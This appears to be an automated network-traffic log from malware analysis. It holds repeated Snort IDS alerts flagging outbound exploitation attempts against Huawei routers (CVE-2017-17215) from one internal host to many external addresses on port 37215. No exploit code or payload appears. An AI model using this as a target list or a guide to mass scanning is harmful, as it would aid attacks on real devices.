Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:55064 -> 197.145.164.25:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:55064 -> 197.145.164.25:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:42216 -> 197.73.217.175:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:42216 -> 197.73.217.175:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:35044 -> 197.35.252.89:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:35044 -> 197.35.252.89:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52206 -> 157.132.248.230:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52206 -> 157.132.248.230:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51088 -> 41.109.79.201:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51088 -> 41.109.79.201:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40306 -> 157.42.236.252:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40306 -> 157.42.236.252:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:57056 -> 197.109.166.112:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:57056 -> 197.109.166.112:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:42034 -> 163.150.42.115:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:42034 -> 163.150.42.115:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50812 -> 104.140.179.113:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50812 -> 104.140.179.113:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:47914 -> 75.142.64.164:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:47914 -> 75.142.64.164:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:42636 -> 41.135.156.196:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:42636 -> 41.135.156.196:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38556 -> 157.11.18.169:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38556 -> 157.11.18.169:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49980 -> 217.47.253.96:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49980 -> 217.47.253.96:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50670 -> 197.56.38.36:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50670 -> 197.56.38.36:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37234 -> 86.82.54.225:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37234 -> 86.82.54.225:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:59968 -> 157.184.88.81:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:59968 -> 157.184.88.81:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:45336 -> 197.36.237.89:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:45336 -> 197.36.237.89:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:35012 -> 157.24.52.3:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:35012 -> 157.24.52.3:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:42570 -> 181.77.179.109:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:42570 -> 181.77.179.109:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52376 -> 138.35.105.236:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52376 -> 138.35.105.236:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38738 -> 157.200.38.194:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38738 -> 157.200.38.194:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:45584 -> 157.219.233.88:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:45584 -> 157.219.233.88:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36856 -> 197.84.11.202:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36856 -> 197.84.11.202:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54504 -> 203.131.164.121:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54504 -> 203.131.164.121:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49566 -> 197.75.184.178:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49566 -> 197.75.184.178:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34082 -> 25.100.29.220:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34082 -> 25.100.29.220:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:43614 -> 157.210.89.153:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:43614 -> 157.210.89.153:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49580 -> 157.82.209.252:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49580 -> 157.82.209.252:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:43024 -> 157.42.124.218:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:43024 -> 157.42.124.218:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60614 -> 197.136.94.142:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60614 -> 197.136.94.142:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60900 -> 157.237.43.90:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60900 -> 157.237.43.90:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:43270 -> 157.202.34.88:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:43270 -> 157.202.34.88:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:47022 -> 157.16.61.193:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:47022 -> 157.16.61.193:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:55454 -> 157.52.27.4:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:55454 -> 157.52.27.4:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52346 -> 41.246.201.30:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52346 -> 41.246.201.30:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34794 -> 197.74.4.205:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34794 -> 197.74.4.205:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:47378 -> 157.12.134.58:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:47378 -> 157.12.134.58:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33622 -> 41.215.54.255:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33622 -> 41.215.54.255:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:43498 -> 197.68.211.95:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:43498 -> 197.68.211.95:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:42080 -> 197.107.200.173:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:42080 -> 197.107.200.173:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58204 -> 40.45.115.153:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58204 -> 40.45.115.153:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:43958 -> 41.68.213.107:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:43958 -> 41.68.213.107:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38052 -> 41.195.201.112:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38052 -> 41.195.201.112:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52314 -> 197.140.115.231:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52314 -> 197.140.115.231:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54014 -> 157.18.137.5:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54014 -> 157.18.137.5:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34612 -> 197.189.139.115:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34612 -> 197.189.139.115:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41644 -> 197.214.26.254:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41644 -> 197.214.26.254:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41910 -> 197.25.72.152:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41910 -> 197.25.72.152:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49966 -> 197.13.115.180:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49966 -> 197.13.115.180:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40544 -> 197.206.115.125:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40544 -> 197.206.115.125:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:57172 -> 157.44.27.109:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:57172 -> 157.44.27.109:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:59794 -> 157.122.210.70:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:59794 -> 157.122.210.70:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41902 -> 197.80.112.192:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41902 -> 197.80.112.192:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:43246 -> 157.181.19.73:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:43246 -> 157.181.19.73:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41860 -> 140.242.21.87:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41860 -> 140.242.21.87:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:48126 -> 197.30.140.44:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:48126 -> 197.30.140.44:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60632 -> 201.248.6.28:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60632 -> 201.248.6.28:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:47084 -> 197.151.215.75:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:47084 -> 197.151.215.75:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44092 -> 197.206.209.177:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44092 -> 197.206.209.177:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53990 -> 197.111.92.249:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53990 -> 197.111.92.249:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:32842 -> 157.204.6.4:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:32842 -> 157.204.6.4:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36476 -> 157.141.29.177:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36476 -> 157.141.29.177:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51226 -> 202.117.135.95:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51226 -> 202.117.135.95:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40330 -> 157.137.243.27:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40330 -> 157.137.243.27:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:45408 -> 41.59.60.215:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:45408 -> 41.59.60.215:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54996 -> 197.141.132.83:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54996 -> 197.141.132.83:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34900 -> 147.21.178.207:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34900 -> 147.21.178.207:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50408 -> 41.174.42.115:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50408 -> 41.174.42.115:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36190 -> 91.112.89.216:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36190 -> 91.112.89.216:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58268 -> 125.16.244.96:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58268 -> 125.16.244.96:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54190 -> 41.151.30.29:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54190 -> 41.151.30.29:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:55314 -> 197.75.142.184:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:55314 -> 197.75.142.184:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49892 -> 159.11.170.80:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49892 -> 159.11.170.80:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:59616 -> 41.104.162.59:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:59616 -> 41.104.162.59:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56802 -> 197.96.187.238:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56802 -> 197.96.187.238:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36826 -> 197.164.134.229:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36826 -> 197.164.134.229:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37480 -> 157.252.104.249:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37480 -> 157.252.104.249:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34798 -> 197.156.183.155:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34798 -> 197.156.183.155:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44970 -> 41.39.134.254:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44970 -> 41.39.134.254:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:57420 -> 41.235.172.174:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:57420 -> 41.235.172.174:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51784 -> 197.33.169.56:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51784 -> 197.33.169.56:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37842 -> 41.31.110.255:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37842 -> 41.31.110.255:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:35018 -> 197.112.159.46:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:35018 -> 197.112.159.46:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44900 -> 197.77.114.34:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44900 -> 197.77.114.34:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:35908 -> 197.194.56.97:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:35908 -> 197.194.56.97:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44020 -> 132.227.49.42:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44020 -> 132.227.49.42:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:59198 -> 41.60.18.93:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:59198 -> 41.60.18.93:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33886 -> 41.157.87.9:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33886 -> 41.157.87.9:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37284 -> 14.117.126.33:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37284 -> 14.117.126.33:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:57060 -> 197.31.246.31:37215
